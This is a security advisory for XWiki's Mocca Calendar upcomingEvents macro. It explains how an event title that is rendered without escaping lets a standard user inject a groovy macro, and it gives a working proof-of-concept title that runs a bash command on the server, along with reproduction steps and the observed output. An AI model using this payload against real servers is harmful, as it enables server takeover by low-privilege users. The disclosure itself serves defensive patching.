Requirement

• a standard account

Details

The macro body builds each event entry as a wiki link whose label is the raw event title:

{{velocity}}
...
#set ($events = $services.moccacalendar.queryEvents($startDate.toDate(), $endDate.toDate(), $wikiList, 1))
...
  [[$event.getTitle()>>$event.getEventDocRef()]]
...
{{/velocity}}

The link-label slot of [[label>>ref]] is inline-wiki-parsed by DefaultXWikiGeneratorListener; { is not entity-escaped there, so {{...}} in the label is parsed as a macro.
$event.getTitle() resolves to the event document getRenderedTitle(Syntax.PLAIN_1_0, context) (MoccaCalendarScriptService.completeEventData), and plain-text rendering preserves the literal ]]{{...}} sequence.

PoC

Gonna use the title :

]]{{async async="false" cached="false"}}{{groovy}}println("MOCCAP503_"+(181*191)+" uid="+["bash","-c","id -un"].execute().text.trim()){{/groovy}}{{/async}}

And for the date, current +10days.

• create a page with the title above
• add a MoccaCalendarEventClass object with dates in range
• create a normal page that renders the macro

  {{moccacalendar.upcomingEvents limit="50"/}}

Refresh the page and you get RCE!

Observed:

MOCCAP503_34571 uid=xwiki>>xwiki:MoccaAtk.Evt]]

Impact

A standard user gets arbitrary code execution against the server.

Tested on XWiki 18.4.0 and mocca 2.19.1